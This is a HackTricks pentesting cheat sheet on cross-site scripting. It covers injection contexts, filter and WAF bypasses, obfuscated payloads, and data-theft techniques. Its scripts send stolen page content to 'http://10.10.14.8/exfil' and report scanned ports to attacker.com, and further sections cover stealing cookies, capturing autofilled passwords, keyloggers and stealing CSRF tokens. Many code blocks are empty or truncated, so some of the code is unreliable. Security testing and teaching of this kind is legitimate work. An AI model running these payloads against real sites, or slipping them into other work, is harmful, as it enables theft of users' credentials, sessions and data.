# XSS (Cross Site Scripting)
🎙️ HackTricks LIVE Twitch Wednesdays 5.30pm (UTC) 🎙️ - 🎥 Youtube 🎥 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %} ## Methodology 1. Check if **any value you control** (_parameters_, _path_, _headers_?, _cookies_?) is being **reflected** in the HTML or **used** by **JS** code. 2. **Find the context** where it's reflected/used. 3. If **reflected** 1. Check **which symbols can you use** and depending on that, prepare the payload: 1. In **raw HTML**: 1. Can you create new HTML tags? 2. Can you use events or attributes supporting `javascript:` protocol? 3. Can you bypass protections? 4. Is the HTML content being interpreted by any client side JS engine (_AngularJS_, _VueJS_, _Mavo_...), you could abuse a [**Client Side Template Injection**](../client-side-template-injection-csti.md). 5. If you cannot create HTML tags that execute JS code, could you abuse a [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection.md)? 2. Inside a **HTML tag**: 1. Can you exit to raw HTML context? 2. Can you create new events/attributes to execute JS code? 3. Does the attribute where you are trapped support JS execution? 4. Can you bypass protections? 3. Inside **JavaScript code**: 1. Can you escape the ``** tags of a HTML page, inside a `.js` file or inside an attribute using **`javascript:`** protocol: * If reflected between **``** tags, even if your input if inside any kind of quotes, you can try to inject `` and escape from this context. This works because the **browser will first parse the HTML tags** and then the content, therefore, it won't notice that your injected `` tag is inside the HTML code. * If reflected **inside a JS string** and the last trick isn't working you would need to **exit** the string, **execute** your code and **reconstruct** the JS code (if there is any error, it won't be executed: * `'-alert(1)-'` * `';-alert(1)//` * `\';alert(1)//` * If reflected inside template literals you can **embed JS expressions** using `${ ... }` syntax: `` var greetings = `Hello, ${alert(1)}` `` #### Javascript Hoisting Javascript Hoisting references the opportunity to **declare functions, variables or classes after they are used**. Therefore if you have scenarios where you can **Inject JS code after an undeclared object** is used, you could **fix the syntax** by declaring it (so your code gets executed instead of throwing an error): ```javascript // The function vulnerableFunction is not defined vulnerableFunction('test', ''); // You can define it in your injection to execute JS //Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b '-alert(1)-''); function vulnerableFunction(a,b){return 1}; //Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1) test'); function vulnerableFunction(a,b){ return 1 };alert(1) ``` ```javascript // If a variable is not defined, you could define it in the injection // In the following example var a is not defined function myFunction(a,b){ return 1 }; myFunction(a, '') //Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b test'); var a = 1; alert(1); ``` ```javascript // If an undeclared class is used, you cannot declare it AFTER being used var variable = new unexploitableClass(); // But you can actually declare it as a function, being able to fix the syntax with something like: function unexploitableClass() { return 1; } alert(1); ``` ```javascript // Properties are not hoisted // So the following examples where the 'cookie' attribute doesn´t exist // cannot be fixed if you can only inject after that code: test.cookie('leo','INJECTION') test['cookie','injection'] ``` For more info about Javascript Hoisting check: [https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios](https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios) ### Javascript Function Several web pages have endpoints that **accept as parameter the name of the function to execute**. A common example to see in the wild is something like: `?callback=callbackFunc`. A good way to find out if something given directly by the user is trying to be executed is **modifying the param value** (for example to 'Vulnerable') and looking in the console for errors like: ![](<../../.gitbook/assets/image (651) (2).png>) In case it's vulnerable, you could be able to **trigger an alert** just doing sending the value: **`?callback=alert(1)`**. However, it' very common that this endpoints will **validate the content** to only allow letters, numbers, dots and underscores (**`[\w\._]`**). However, even with that limitation it's still possible to perform some actions. This is because you can use that valid chars to **access any element in the DOM**: ![](<../../.gitbook/assets/image (662).png>) Some useful functions for this: ``` firstElementChild lastElementChild nextElementSibiling lastElementSibiling parentElement ``` You can also try to **trigger Javascript functions** directly: `obj.sales.delOrders`. However, usually the endpoints executing the indicated function are endpoints without much interesting DOM, **other pages in the same origin** will have a **more interesting DOM** to perform more actions. Therefore, in order to **abuse this vulnerability in a different DOM** the **Same Origin Method Execution (SOME)** exploitation was developed: {% content-ref url="some-same-origin-method-execution.md" %} [some-same-origin-method-execution.md](some-same-origin-method-execution.md) {% endcontent-ref %} ### DOM There is **JS code** that is using **unsafely** some **data controlled by an attacker** like `location.href` . An attacker, could abuse this to execute arbitrary JS code. {% content-ref url="dom-xss.md" %} [dom-xss.md](dom-xss.md) {% endcontent-ref %} ### **Universal XSS** These kind of XSS can be found **anywhere**. They not depend just on the client exploitation of a web application but on **any** **context**. These kind of **arbitrary JavaScript execution** can even be abuse to obtain **RCE**, **read** **arbitrary** **files** in clients and servers, and more.\ Some **examples**: {% content-ref url="server-side-xss-dynamic-pdf.md" %} [server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md) {% endcontent-ref %} {% content-ref url="../../network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/" %} [xss-to-rce-electron-desktop-apps](../../network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/) {% endcontent-ref %} ## WAF bypass encoding image ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](../../.gitbook/assets/EauBb2EX0AERaNK.jpg) ## Injecting inside raw HTML When your input is reflected **inside the HTML page** or you can escape and inject HTML code in this context the **first** thing you need to do if check if you can abuse `<` to create new tags: Just try to **reflect** that **char** and check if it's being **HTML encoded** or **deleted** of if it is **reflected without changes**. **Only in the last case you will be able to exploit this case**.\ For this cases also **keep in mind** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ _**Note: A HTML comment can be closed using**** ****`-->`**** ****or**** ****`--!>`**_ In this case and if no black/whitelisting is used, you could use payloads like: ```javascript ``` But, if tags/attributes black/whitelisting is being used, you will need to **brute-force which tags** you can create.\ Once you have **located which tags are allowed**, you would need to **brute-force attributes/events** inside the found valid tags to see how you can attack the context. ### Tags/Events brute-force Go to [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) and click on _**Copy tags to clipboard**_. Then, send all of them using Burp intruder and check if any tags wasn't discovered as malicious by the WAF. Once you have discovered which tags you can use, you can **brute force all the events** using the valid tags (in the same web page click on _**Copy events to clipboard**_ and follow the same procedure as before). ### Custom tags If you didn't find any valid HTML tag, you could try to **create a custom tag** and and execute JS code with the `onfocus` attribute. In the XSS request, you need to end the URL with `#` to make the page **focus on that object** and **execute** the code: ``` /?search=#x ``` ### Blacklist Bypasses If some kind of blacklist is being used you could try to bypass it with some silly tricks: ```javascript //Random capitalization alert(1) //Not closing tag, ending with " <" or " //" //Special cases .//https://github.com/evilcos/xss.swf //https://github.com/evilcos/xss.swf ``` Note that if you try to **use both** `URLencode + HTMLencode` in any order to encode the **payload** it **won't** **work**, but you can **mix them inside the payload**. **Using Hex and Octal encode with `javascript:`** You can use **Hex** and **Octal encode** inside the `src` attribute of `iframe` (at least) to declare **HTML tags to execute JS**: ```javascript //Encoded: // This WORKS //Encoded: alert(1) // This doesn't work ``` ### Reverse tab nabbing ```javascript //No safari //chars allowed between the onevent and the "=" IExplorer: %09 %0B %0C %020 %3B Chrome: %09 %20 %28 %2C %3B Safari: %2C %3B Firefox: %09 %20 %28 %2C %3B Opera: %09 %20 %2C %3B Android: %09 %20 %28 %2C %3B ``` ### XSS in "Unexploitable tags" (input hidden, link, canonical) From [here](https://portswigger.net/research/xss-in-hidden-input-fields):\ You can execute an **XSS payload inside a hidden attribute**, provided you can **persuade** the **victim** into pressing the **key combination**. On Firefox Windows/Linux the key combination is **ALT+SHIFT+X** and on OS X it is **CTRL+ALT+X**. You can specify a different key combination using a different key in the access key attribute. Here is the vector: ```markup ``` Note that in this example we **haven't even closed the single quote**, but that's not necessary as the **browser first performs HTML parsing** to identify the page elements including blocks of script, and only later performs JavaScript parsing to understand and execute the embedded scripts. ### Inside JS code If `<>` are being sanitised you can still **escape the string** where your input is being **located** and **execute arbitrary JS**. It's important to **fix JS syntax**, because if there are any errors, the JS code won't be executed: ``` '-alert(document.domain)-' ';alert(document.domain)// \';alert(document.domain)// ``` ### Template literals \`\` In order to construct **strings** apart from single and double quotes JS also accepts **backticks** **` `` `** . This is known as template literals as they allow to **embedded JS expressions** using `${ ... }` syntax.\ Therefore, if you find that your input is being **reflected** inside a JS string that is using backticks, you can abuse the syntax `${ ... }` to execute **arbitrary JS code**: This can be **abused** using: `${alert(1)}` ### Encoded code execution ```markup alert(1) alert('XSS') < < String.fromCharCode(88,83,83) \"/\"src=\"/\"onerror=eval(id) ([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')() ``` ```javascript //JJencode ``` ```javascript //JSFuck ``` ```javascript //aaencode ゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_'); ``` ## XSS common payloads ### Several payloads in 1 {% content-ref url="steal-info-js.md" %} [steal-info-js.md](steal-info-js.md) {% endcontent-ref %} ### Retrieve Cookies ```javascript /?c="+document.cookie> ``` {% hint style="info" %} You **won't be able to access the cookies from JavaScript** if the HTTPOnly flag is set in the cookie. But here you have [some ways to bypass this protection](../hacking-with-cookies/#httponly) if you are lucky enough. {% endhint %} ### Steal Page Content ```javascript var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"; var attacker = "http://10.10.14.8/exfil"; var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (xhr.readyState == XMLHttpRequest.DONE) { fetch(attacker + "?" + encodeURI(btoa(xhr.responseText))) } } xhr.open('GET', url, true); xhr.send(null); ``` ### Find internal IPs ```html ``` ### Port Scanner (fetch) ```javascript const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); } ``` ### Port Scanner (websockets) ```python var ports = [80, 443, 445, 554, 3306, 3690, 1234]; for(var i=0; i::placeholder { color:white; } ``` ### Auto-fill passwords capture ```javascript Username:
Password:
``` When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don't write anything the credentials will be ex-filtrated. ### Keylogger Just searching in github I found a few different ones: * [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger) * [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger) * [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger) * You can also use metasploit `http_javascript_keylogger` ### XSS - Stealing CSRF tokens ```javascript ``` ### XSS - Stealing PostMessage messages ```markup ``` ### Abusing Service Workers {% content-ref url="abusing-service-workers.md" %} [abusing-service-workers.md](abusing-service-workers.md) {% endcontent-ref %} ### Polyglots {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %} ### Blind XSS payloads You can also use: [https://xsshunter.com/](https://xsshunter.com) ```markup "> "> >Click Me For An Awesome Time "> ">